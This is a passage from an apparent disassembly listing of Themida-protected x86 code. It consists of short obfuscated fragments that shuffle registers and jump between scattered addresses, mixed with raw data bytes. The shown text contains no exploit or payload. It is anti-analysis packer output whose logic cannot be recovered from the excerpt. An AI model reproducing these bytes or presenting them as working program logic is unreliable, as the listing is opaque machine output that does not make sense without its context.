		jmp	loc_562ED2
; ---------------------------------------------------------------------------


loc_55FB33:				; CODE XREF: Themida_:005605CDj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_55C4C5
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0D8h
		dd 89263424h, 2434FFDEh, 0FF64CFE9h, 8BEB29FFh,	8956242Ch
		dd 4C681E6h, 83000000h,	348704C6h, 1C335C24h, 241C3124h
		dd 8B241C33h, 4892424h,	88D08824h, 0EC8358C1h, 241C8904h
		dd 3C88CF88h, 0E6E0E987h, 5B66FFFFh, 0E9D30166h, 0FFFF5ADBh
; ---------------------------------------------------------------------------


loc_55FB98:				; CODE XREF: Themida_:00554C55j
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5591AF
; ---------------------------------------------------------------------------
		db 9
		dd 87565DEEh, 0D6F72434h, 5E243487h, 4EC81h, 14890000h
		dd 8B44E924h, 0ECC0FFFFh, 0E9C4FE05h, 0FFFFE53Ch, 46E9D2F7h
		dd 52FFFF8Fh, 0F28005B2h, 56C2804Bh, 0FF3EC9E9h, 24048BFFh
		dd 4C481h, 0C7810000h, 0C65A1B9Eh, 3C8BF829h, 7C40E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBFA:				; CODE XREF: Themida_:00564BE5j
		mov	ecx, 5F0C7DE1h
		xor	ecx, ebp
		jmp	loc_55845D
; ---------------------------------------------------------------------------
		dw 0D021h
		dd 0E92434FFh, 1EACh, 58240429h, 0E3C14B93h, 0F1B95107h
		dd 81289544h, 363C54E9h, 69CBE904h, 8166FFFFh, 66592AEFh
		dd 5E9F729h, 0BEFFFFECh, 0BBB92F49h, 97E9F531h,	33FFFFD4h
		dd 665C241Ch, 8124048Bh, 4ECh, 0BE2BE900h, 0D301FFFFh
		dd 4EC835Ah, 0B8240489h, 39B66BEEh, 0F707E0C1h,	8FB35D0h
		dd 0C32924CAh, 241C8758h, 2434895Ch, 2BEh, 8CD6800h, 46E90000h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC87:				; CODE XREF: Themida_:005635C6j
		mov	ebx, esp
		jmp	loc_560171
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFAC97h, 4C481h, 68530000h, 3CAD318Ch, 78C3815Bh
		dd 1C352CEh, 22D5BD8h, 87000000h, 248B2404h, 1C896624h
		dd 0F2CFE924h, 0C680FFFFh, 95C68022h, 8005EEC0h, 0F5309CF6h
		dd 8BE8285Ah, 0C481240Ch, 4, 52C702Ch, 504D828h, 0CE97004h
		dd 29000049h, 0F10158C6h, 5024348Bh, 405E089h, 83000000h
		dd 48704C0h, 0B1685C24h, 8900001Bh, 0F8E9242Ch,	89000049h
		dd 31BFE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD12:				; CODE XREF: Themida_:00564141j
		mov	[esp], ebp
		push	ebx
		jmp	loc_551E6F
; ---------------------------------------------------------------------------


loc_55FD1B:				; CODE XREF: Themida_:00555997j
		pop	ecx
		push	ebp
		mov	ebp, 60E11204h
		jmp	loc_553947
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 56000000h,	2BEh, 8512E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD3A:				; CODE XREF: Themida_:0055BE85j
		neg	ecx
		shr	ecx, 1
		shr	ecx, 5
		jmp	loc_5531BC
; ---------------------------------------------------------------------------


loc_55FD46:				; CODE XREF: Themida_:00558580j
		pop	ebx
		dec	ecx
		shl	ecx, 3
		not	ecx
		sub	ecx, 2B380C04h
		not	ecx
		push	ebp
		mov	ebp, 3B0978AFh
		add	ecx, ebp
		pop	ebp
		sub	eax, 0B72656Bh
		sub	eax, ecx
		add	eax, 0B72656Bh
		pop	ecx
		dec	eax
		jmp	loc_552BCA
; ---------------------------------------------------------------------------


loc_55FD71:				; CODE XREF: Themida_:00558AC6j
		or	ebp, 79F64370h
		not	ebp
		jmp	loc_552D16
; ---------------------------------------------------------------------------
		dw 6855h
		dd 0B6C7D13h, 4E5C15Dh,	0FF12ACE9h, 243487FFh, 24048F5Ch
		dd 6624248Bh, 8324048Bh, 3C8904ECh, 3BDEE924h, 5356FFFFh
		dd 0A90491BBh, 0E9D3F776h, 0FFFF5ED2h, 70D3CB81h, 0E381369Ah
		dd 0A4648E6h, 5E0CEB81h, 0EB8748FAh, 0FF8BCDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FDCD:				; CODE XREF: Themida_:00563EEDj
		pop	dword ptr [esp]
		jmp	loc_5610A9
; ---------------------------------------------------------------------------


loc_55FDD5:				; CODE XREF: Themida_:005655EAj
		xor	ebx, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		dw 8166h
		dd 6629FBEBh, 8324048Bh, 0B70F02C4h, 11DD68C0h,	1EE90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDFF:				; CODE XREF: Themida_:00561FF7j
		add	edi, ecx
		add	edi, 7BFC26F4h
		jmp	loc_55E5F5
; ---------------------------------------------------------------------------
		dd 11E98604h, 55FFFF44h, 980C9FBDh, 0BCC58155h,	318D913Bh
		dd 242C8BE8h, 8104C483h, 0DC0BF6C3h, 24EB8116h,	161FC3Ch
		dd 0ABE955C3h, 8800004Fh, 0CE8059EEh, 6E6C0A5h,	0E919B551h
		dd 5170h
; ---------------------------------------------------------------------------


loc_55FE4C:				; CODE XREF: Themida_:0056557Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_55FE5C:				; CODE XREF: Themida_:005606B1j
		push	ebx
		push	29E5h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4D1C12A2h
		shl	ebx, 1
		jmp	loc_5555E1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89505E24h, 405E0h, 0C0830000h, 24048704h, 2414335Ch
		dd 0FFEAA3E9h, 4C481FFh, 8F000000h, 248B2404h, 0E65FE924h
		dd 91BFFFFFh, 293CC267h, 5F08247Ch, 3E05E9h, 1BD6BB00h
		dd 3E971F5h, 81FFFF7Eh,	0C731E0E2h, 9CF2817Fh, 8126D07Dh
		dd 0CF193FE2h, 8E77E91Ah, 5559FFFFh, 268h, 0C6815D00h
		dd 50D121CCh, 0FFE129E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FEE1:				; CODE XREF: Themida_:0055D716j
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_55D21E
; ---------------------------------------------------------------------------


loc_55FEF5:				; CODE XREF: Themida_:0055D650j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_560168
; ---------------------------------------------------------------------------
		db 40h,	96h, 46h
		dd 6E02E950h, 0EE88FFFFh, 665AF788h, 8BFE8859h,	0B4E9241Ch
		dd 83FFFFB0h, 0E904C4h,	66FFFF85h, 68240C8Bh, 19F8h, 0E9243C89h
		dd 0FFFFCD63h, 4BD9BB53h, 0EB8101CBh, 239D2ECFh, 3EBC143h
		dd 0F381D3F7h, 0F9A93CB7h, 0FF6B39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FF55:				; CODE XREF: Themida_:0055AFEFj
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		dw 1489h
		dd 88EA8824h, 1D66E9D3h, 34FFFFFFh, 0CBF6E924h,	481FFFFh
		dd 424h, 2434FF00h, 4C4815Fh, 81000000h, 4C7h, 4C78100h
		dd 87000000h, 15C243Ch,	0AF34E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF96:				; CODE XREF: Themida_:0055A71Fj
		dec	esi
		push	6E72h
		mov	[esp], edi
		jmp	loc_555504
; ---------------------------------------------------------------------------
		dd 33F7B850h, 442969DAh, 34FF0424h, 0C4835824h,	2CF1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FFBA:				; CODE XREF: Themida_:0055381Aj
		push	edx
		jmp	loc_5650C4
; ---------------------------------------------------------------------------
aZ4S		db '4$\',27h,0
		dd 0F663B000h, 0C02704D0h, 682403E0h, 5051B10Ch, 8904EC83h
		dd 9BB7241Ch, 805BFC88h, 0C4FE26E4h, 0B3E9D4F6h, 56FFFFADh
		dd 0C681E689h, 4, 13A8E9h, 0E9FD0100h, 0FFFFB1DDh
; ---------------------------------------------------------------------------


loc_560004:				; CODE XREF: Themida_:0055BA73j
		mov	ebx, esp
		jmp	loc_55C03F
; ---------------------------------------------------------------------------
		db 58h
		dd 8F04C483h, 52E92404h, 5D000012h, 14C6E9h, 3FC18100h
		dd 1703252h, 3FE981D1h,	56703252h, 4E7C4BBEh, 3EEC115h
		dd 423DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56003A:				; CODE XREF: Themida_:0055C44Ej
		mov	edx, 1BA14081h
		sub	ebx, edx
		pop	edx
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56380E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 7B5BB850h, 51E96684h, 87FFFFF8h, 248B2404h, 2424D324h
		dd 0FF0781E9h, 241C89FFh, 1B2AB850h, 0F3BB4E00h, 0E9553766h
		dd 0FFFFCEADh
; ---------------------------------------------------------------------------


loc_560080:				; CODE XREF: Themida_:0055ED9Ej
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	2D7Fh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebx, 21073AC6h
		mov	edi, [esp]
		push	ebp
		push	esp
		jmp	loc_550EA7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0B850h, 0F0290000h, 0D475E996h, 3481FFFFh, 13187F24h
		dd 0F2815A29h, 2913187Fh, 0E9243C8Bh, 134Dh, 0BA241489h
		dd 49491DA5h, 491FA5BBh, 8BD33149h, 0C4832414h,	0FFD82104h
		dd 685B2434h, 731Ch, 0A3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5600FD:				; CODE XREF: Themida_:00562356j
		push	cx
		jmp	loc_555097
; ---------------------------------------------------------------------------


loc_560104:				; CODE XREF: Themida_:005654FCj
		pop	esi
		add	esi, ebx
		jmp	loc_5524A4
; ---------------------------------------------------------------------------
		dd 4C681h, 0E9500000h, 0FFFF0D36h, 8124048Fh, 42404h, 48B0000h
		dd 0E6895624h, 4C681h, 0BF570000h, 4, 0A5BC681h, 0D1E97FEFh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56013F:				; CODE XREF: Themida_:00552473j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 42E71FE6h
		push	8EEh
		mov	[esp], edx
		jmp	loc_55486A
; ---------------------------------------------------------------------------


loc_56015A:				; CODE XREF: Themida_:005525D0j
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_55152B
; ---------------------------------------------------------------------------


loc_560168:				; CODE XREF: Themida_:0055FF00j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555A99
; ---------------------------------------------------------------------------


loc_560171:				; CODE XREF: Themida_:0055FC89j
		add	ebx, 4
		push	ecx
		mov	ecx, 630C1C28h
		neg	ecx
		inc	ecx
		jmp	loc_556615
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 8Ch
		dd 0E92ADD17h, 0FFFF467Fh, 1560D4BEh, 5EF33100h, 6C8FBB53h
		dd 0DD294FF4h, 28C5815Bh, 0E9585034h, 0FFFF7F6Bh, 0C8BEE30h
		dd 4C48324h, 5305EEC0h,	0B71DB652h, 0E9F73055h,	105Ch
		dd 0FE58C388h, 0D0B652CBh, 865AF330h, 0F6DC86E3h, 4458E9D3h
		dd 0BD550000h, 74DA740Ch, 2AE9E929h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5601E7:				; CODE XREF: Themida_:00562A12j
		pop	ebx
		jmp	loc_554EBC
; ---------------------------------------------------------------------------


loc_5601ED:				; CODE XREF: Themida_:00553EA8j
		mov	ah, 2Bh
		shl	ah, 3
		jmp	loc_559034
; ---------------------------------------------------------------------------


loc_5601F7:				; CODE XREF: Themida_:00561BD1j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55F942
; ---------------------------------------------------------------------------


loc_560206:				; CODE XREF: Themida_:00565207j
		pop	edx
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_556B81
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 2D07E0C1h, 54C4497Ch, 7B18C781h, 0C7813CA1h,	8F42DADh
		dd 0EF81C701h, 8F42DADh, 0FF255BE9h, 243C8BFFh,	8704C483h
		dd 0D35C240Ch, 0E99C2424h, 0FFFF05A6h, 0D829F181h, 0C831A4D2h
		dd 0F4472D59h, 0E6E9C8B9h, 0ACFFFFC2h, 9B68D830h, 89000041h
		dd 4EB22414h, 0EC815166h, 4, 0B4240489h, 300AB1ADh, 0B55158E1h
		dd 13686600h, 489664Fh,	80A7B424h, 0E52834C5h, 0FF3236E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560291:				; CODE XREF: Themida_:005570EAj
		xor	eax, 1D5C2651h
		jmp	loc_55F589
; ---------------------------------------------------------------------------
		db 52h
		dd 8F180FBAh, 2BDFE934h, 0C1380000h, 540E99Ch, 3487FFFFh
		dd 0C4835C24h, 534E904h, 2489FFFFh, 24048324h, 0EF685804h
		dd 89000026h, 33B9240Ch, 51794748h, 592414F7h, 6D3BC981h
		dd 0E9C174B7h, 81E1D107h, 0DAFFFAF1h, 59C80103h, 647468h
		dd 24148900h, 2BAh, 21992D00h, 3F2D2A4Bh, 55B8D25h, 52153922h
		dd 0FF6231E9h, 0A1BE56FFh, 0E9196E0Eh, 183h, 81241C8Bh
		dd 4C4h, 0C3315900h, 88B68h, 240C8900h,	2CB9h, 4E6FE900h
		dd 0C14E0000h, 0F68107EEh, 1F75F7Eh, 73E9F001h,	0BD00000Bh
		dd 0E0411C0h, 426BE9h, 24043100h, 5C240433h, 24B7E9h, 58E12800h
		dd 0C8BCE30h, 4C48124h,	66000000h, 0E90E1568h, 0FFFFF415h
		dd 0FF2434FFh, 83592434h, 0D76804C4h, 89000011h, 0A768241Ch
		dd 89000051h, 4832424h,	34FF0424h, 0C4815B24h, 4, 0FF4E24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56039D:				; CODE XREF: Themida_:0055601Fj
		mov	esi, eax
		pop	eax
		add	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_553975
; ---------------------------------------------------------------------------


loc_5603AD:				; CODE XREF: Themida_:0055DDA8j
		dec	edx
		sub	edx, 8DE1666h
		add	eax, 17B7056Dh
		sub	eax, edx
		push	edi
		jmp	loc_555B46
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 5Eh
		dd 41D2E957h, 49BFFFFFh, 8165F02Ah, 69E491EFh, 5FFE0919h
		dd 34E9D6F7h, 0BD000037h, 4, 295DE989h,	13BBE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5603EE:				; CODE XREF: Themida_:0055CBD2j
		pop	esi
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebp
		jmp	loc_5537F7
; ---------------------------------------------------------------------------


loc_5603FD:				; CODE XREF: Themida_:0055F38Fj
		xchg	edi, [esp]
		jmp	loc_55625D
; ---------------------------------------------------------------------------
		db 68h,	0Dh, 1Dh
		dd 0E95E77EEh, 5CCh, 243C895Ch,	0AA2991BFh, 0B9F7817Fh
		dd 8177884Fh, 0B92431C7h, 16CF817Dh, 8122BB0Dh,	2F1A55EFh
		dd 0BCE3E950h, 8B66FFFFh, 0EC832404h, 0D702E904h, 6664FFFFh
		dd 8302B60Fh, 348904ECh, 0E9E68924h, 1441h
; ---------------------------------------------------------------------------


loc_560454:				; CODE XREF: Themida_:00561FB4j
		pop	ebx
		jmp	loc_5594DE
; ---------------------------------------------------------------------------


loc_56045A:				; CODE XREF: Themida_:005606D9j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ebp
		jmp	loc_55B29A
; ---------------------------------------------------------------------------
		dw 0A9BAh
		dd 0E9461E5Fh, 0FFFF7613h, 0C281FA01h, 74442B9Ch, 6281B850h
		dd 0C201792Fh, 8324048Bh, 0E95F04C4h, 4E06h, 0AFE9D189h
		dd 29FFFF99h, 5E082474h, 4246C81h, 411529EEh, 309BE9h
		dd 0E9F10100h, 0FFFF150Ah, 33243431h, 248B2434h, 89666424h
		dd 32CE902h, 0D7F7FFFFh, 0FE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5604C9:				; CODE XREF: Themida_:00552156j
		pop	ebp
		not	ebp
		jmp	loc_554CFE
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0E9h
		dd 0FFFFC073h, 0B97C88BAh, 0CEEA8156h, 521AA008h, 8B2414F7h
		dd 0C4832414h, 0DFB85004h, 0F71B6260h, 29D0DD8h, 0D140299Eh
		dd 2DD0F7E0h, 19037FE8h, 8158C209h, 0FFCCDBF2h,	0CCE981CBh
		dd 16FD72Bh, 0CCC181D1h, 8B6FD72Bh, 0C4832414h,	240C3304h
		dd 33240C31h, 248B240Ch, 0FC00924h, 0FF9DE084h,	0CDE952FFh
		dd 0F7000035h, 46F681DEh, 8127A775h, 0AC799FEEh, 5EF13128h
		dd 0DF56850h, 0E8E90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560557:				; CODE XREF: Themida_:005635D5j
		or	ebx, 12671986h
		or	ebx, 44690DCFh
		push	6506h
		mov	[esp], edi
		push	ecx
		mov	ecx, 2D00CC1h
		mov	edi, ecx
		jmp	loc_55C999
; ---------------------------------------------------------------------------
		dd 0C8BC800h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0C0BDB652h, 0F68007E6h, 31C680ACh, 18E9F000h, 5E000045h
		dd 5B2434FFh, 0E904C483h, 0FFFF1DD7h, 3147FE87h, 2816E9FEh
		dd 0E951FFFFh, 0FFFF584Dh, 0C2242C81h, 0E9294C5Ch, 4D8Bh
; ---------------------------------------------------------------------------


loc_5605CC:				; CODE XREF: Themida_:0055DE10j
		pop	esi
		jmp	loc_55FB33
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E9545124h, 0FFFFDF41h, 83242489h, 8B042404h, 0F8E92414h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605EB:				; CODE XREF: Themida_:00553958j
		pop	ebp
		push	esi
		push	ebp
		push	59042595h
		pop	ebp
		push	ecx
		jmp	loc_5584E0
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF145Ah
; ---------------------------------------------------------------------------


loc_560600:				; CODE XREF: Themida_:005548DCj
		push	ecx
		jmp	loc_553A74
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 6DA2BA52h, 0EC832F6Eh, 241C8904h, 0D45C62BBh, 5BDA091Eh
		dd 0FF1E57E9h, 8BCE01FFh, 4DE9240Ch, 58FFFF62h,	4EC81h
		dd 2C890000h, 2474FF24h, 48F5D04h, 24248B24h, 1E3668h
		dd 243C8900h, 0C781E789h, 4, 0FF0F63E9h, 756866FFh, 0C896644h
		dd 18CE924h, 2BDFFFFh, 0C11B9C26h, 0ED8108EDh, 1, 0BE56D5F7h
		dd 135F022Dh, 5D9EE81h,	0EE8340ACh, 96489601h, 4BA5E951h
		dd 0CCFEFFFFh, 0DCF6D4F6h, 72F480h, 98E958E2h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56069B:				; CODE XREF: Themida_:00554A89j
		xor	ebx, 8BC1FA86h
		mov	edi, ebx
		pop	ebx
		sub	esi, edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55FE5C
		push	dword ptr [edi+1Ch]
		push	4E13h
		mov	[esp], ebp
		push	2348h
		mov	[esp], ecx
		push	5B12h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56045A
; ---------------------------------------------------------------------------


loc_5606DE:				; CODE XREF: Themida_:00561FCBj
		add	ebx, esi
		pop	esi
		jmp	loc_55261E
; ---------------------------------------------------------------------------


loc_5606E6:				; CODE XREF: Themida_:0055B836j
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 87h
		dd 515C243Ch, 5D3E7DB9h, 0C5C18172h, 81669669h,	213678E9h
		dd 59CD01B1h, 0FF729BE9h, 24148BFFh, 0FF62D8E9h, 0E6EE81FFh
		dd 0E99F0EE2h, 17B0h
; ---------------------------------------------------------------------------


loc_56071C:				; CODE XREF: Themida_:0055312Cj
		push	58AEh
		mov	[esp], edx
		push	esp
		jmp	loc_561457
; ---------------------------------------------------------------------------
		dw 565Ah
		dd 4BEh, 0E8C18100h, 0E95DDE4Dh, 0FFFFFD6Dh
; ---------------------------------------------------------------------------


loc_56073C:				; CODE XREF: Themida_:00561D4Dj
		mov	[esp], edx
		xor	dword ptr [esp], 543C6207h
		pop	eax
		xor	eax, 543C6207h
		pop	edx
		xor	eax, 0D3CCFE78h
		shl	eax, cl
		push	4F84h
		mov	[esp], ebp
		jmp	loc_55BC50
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 1D5BE9h, 22DABB00h, 0CB817D4Ch, 6B04705Eh, 94D3C381h
		dd 0E953CA81h, 95Ch, 5A2414F7h,	0FF292CE9h, 2434FFFFh
		dd 0E289525Bh, 4C281h, 0C2810000h, 4, 5C241487h, 8B2434FFh
		dd 0C4832434h, 14386804h, 31E90000h, 0C1FFFFB6h, 362D04E8h
		dd 1A34A94h, 0EE2958C6h, 2F685052h, 58329A22h, 0B9E5732Dh
		dd 0E9C289D4h, 0FFFFC9F9h
; ---------------------------------------------------------------------------


loc_5607D4:				; CODE XREF: Themida_:0055B96Aj
		inc	edx
		or	edx, 385A1B87h
		jmp	loc_554A8E
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF7CD6E9h, 0D9E981FFh, 810E8220h, 0EC03B7C1h
		dd 24048B33h, 4EC81h, 3C890000h, 0AADCE924h, 34FFFFFFh
		dd 0BFE95924h, 89FFFF4Bh, 0BB532404h, 6C2B70F8h, 3BB7BD55h
		dd 0EB0120E6h, 83242C8Bh, 0BF5704C4h, 13A6406Eh, 74E9h
		dd 2434FF00h, 1080E9h
		db 0
; ---------------------------------------------------------------------------


loc_560839:				; CODE XREF: Themida_:00554ADCj
		push	esp
		mov	esi, [esp]
		jmp	loc_552207
; ---------------------------------------------------------------------------


loc_560842:				; CODE XREF: Themida_:005632D2j
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		push	ecx
		push	327B2C6Dh
		pop	ecx
		jmp	loc_5549B4
; ---------------------------------------------------------------------------
		dd 4240481h, 0FF000000h, 35E92434h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560877:				; CODE XREF: Themida_:00563E2Bj
		add	esp, 4
		or	eax, eax
		jz	loc_553446
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_555C1A
; ---------------------------------------------------------------------------


loc_56088F:				; CODE XREF: Themida_:00561077j
		xor	edi, 0B0C1F502h
		jmp	loc_55611A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFDD98E9h, 40BA52FFh, 1796B6Ch, 0FB315AD7h, 0DA89525Fh
		dd 0E9D38953h, 0FFFF5F6Eh
; ---------------------------------------------------------------------------


loc_5608BC:				; CODE XREF: Themida_:005530DFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		push	esp
		jmp	loc_55B24B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8950E9F7h, 11CF68E0h, 3C890000h, 4EC8324h, 0FFCA3DE9h
		dd 0EE835AFFh, 0C0EAE904h, 489FFFFh, 4EC8324h, 81242489h
		dd 42404h, 0E9580000h, 18EAh, 3AFFEB81h, 0EB8117DDh, 5DA81F71h
		dd 0E930FF66h, 0FCFh, 0C6E9CEFEh
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56091F:				; CODE XREF: Themida_:00561C14j
		pop	esi
		push	ebx
		jmp	loc_55C657
; ---------------------------------------------------------------------------


loc_560926:				; CODE XREF: Themida_:0055EE4Dj
		or	ch, 52h
		jmp	loc_5536B3
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 56000000h, 0FD7C24BEh, 0C023E963h, 19BDFFFFh, 0E918F45Eh
		dd 0FFFFAF39h, 43E9DD09h, 89000014h, 0A055EF3h,	171DA3Eh
		dd 3E0A2DD8h, 1C8B71DAh, 0E1895124h, 4C181h, 7DE90000h
		dd 100003Fh, 0A1B7E9D8h, 0EE81FFFFh, 3365D2D2h,	0C15EF331h
		dd 0E95604EBh, 0FFFFF808h, 0B0240489h, 56CEE9B8h, 0CA29FFFFh
		dd 18C28159h, 293B5A71h, 18EA81FAh, 813B5A71h, 6C5912C2h
		dd 2434FF75h, 4C4815Fh,	33000000h, 14312414h, 24143324h
		dd 2414895Ch, 27E99C50h
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_5609C7:				; CODE XREF: Themida_:0055C2C4j
		mov	edi, 1F6E055Fh
		sub	edx, edi
		pop	edi
		push	esi
		mov	esi, 0E0A76ACAh
		xor	edx, esi
		jmp	loc_560CC8
; ---------------------------------------------------------------------------
		dd 0E681D6F7h, 5536126Eh, 5B6FF681h, 0CE81282Eh, 2AF471BBh
		dd 0FF66C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5609F5:				; CODE XREF: Themida_:0055903Cj
		add	ah, 21h
		neg	ah
		xchg	dh, ah
		not	dh
		xchg	dh, ah
		or	ah, 4Bh
		xor	ah, 9Eh
		add	ah, 8Eh
		sub	bl, ah
		mov	eax, [esp]
		push	3247h
		mov	[esp], esi
		jmp	loc_557967
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2A1CC181h, 0C1810EBCh, 53184B6Fh, 0FBE9D929h, 47FFFFAEh
		dd 0BD44EF81h, 0A7E93E66h, 53000042h, 4BBh, 5BD90100h
		dd 0E9240C87h, 0FFFF96AFh
; ---------------------------------------------------------------------------


loc_560A4C:				; CODE XREF: Themida_:00563A13j
		sub	esp, 4
		jmp	loc_55F3DE
; ---------------------------------------------------------------------------
		db 81h
		dd 281D51C3h, 24048B36h, 0E904C483h, 0FFFFB591h, 54243489h
		dd 4C6815Eh, 51000000h,	4B9h, 0E9CE2900h, 0FFFF438Eh
; ---------------------------------------------------------------------------


loc_560A80:				; CODE XREF: Themida_:0055C994j
		pop	edi
		shl	eax, 6
		or	eax, 6BCC0E11h
		or	eax, 67841992h
		xor	eax, 16E92997h
		jmp	loc_559646
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 34FF2434h, 2434FF24h, 4C48158h, 81000000h
		dd 4ECh, 24348900h, 0C681E689h,	4, 0FF3696E9h, 4EC81FFh
		dd 89000000h, 74FF243Ch, 0AEE90424h, 0BFFFFF46h, 6FC46E5Fh
		dd 0FFBB3DE9h, 4EE83FFh, 0E9243487h, 0FFFF2DA4h, 0F0E95551h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560AEF:				; CODE XREF: Themida_:0055243Dj
		push	edi
		mov	edi, 4
		jmp	loc_563D12
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 78E90000h, 5A000009h, 3982C581h, 0E989CB06h
		dd 4EC815Dh, 0E9000000h, 0FFFF6905h, 4C5835Ah, 8B242C87h
		dd 0E9C12424h, 3969E906h, 0C4830000h, 6BDDE904h, 0E95EFFFFh
		dd 0FFFF6A19h, 89240489h, 4EC83E0h, 0FFB3CBE9h,	0E9F101FFh
		dd 0FFFF32E9h
; ---------------------------------------------------------------------------


loc_560B50:				; CODE XREF: Themida_:0055282Fj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_553518
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 0A6h
		dd 810D4918h, 5C6A35EDh, 0E9DDF77Dh, 0FFFFAF34h, 2CF7814Fh
		dd 81538A0Ch, 0F32FCCE7h, 474CE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B7E:				; CODE XREF: Themida_:005554E4j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	21763AAEh
		pop	ebx
		sub	ebx, 0A4CB08FAh
		mov	ebp, ebx
		pop	ebx
		and	ebp, 44B5451Bh
		push	eax
		mov	eax, 2B207E3Ch
		not	eax
		or	eax, 3DB51F2h
		push	eax
		not	dword ptr [esp]
		pop	eax
		shl	eax, 4
		jmp	loc_5540B3
; ---------------------------------------------------------------------------
		db 0B9h
		dd 394974D5h, 0BBE9CB01h, 33FFFFA7h, 2C31242Ch,	242C3324h
		dd 2434FF5Ch, 582434FFh, 6804C483h, 3391h, 0FFA157E9h
		dd 28C380FFh, 698E68h, 24048900h, 44144BB8h, 0EE94870h
		dd 31FFFFF3h, 4BE9242Ch, 66000028h, 0E924248Bh,	0FFFEFBE6h
		dd 5C243C87h, 0E9243489h, 0FFFF7CDEh, 24048B66h, 68E38953h
		dd 65BAh, 51243489h, 5D21E068h,	0DF685914h, 8900004Ah
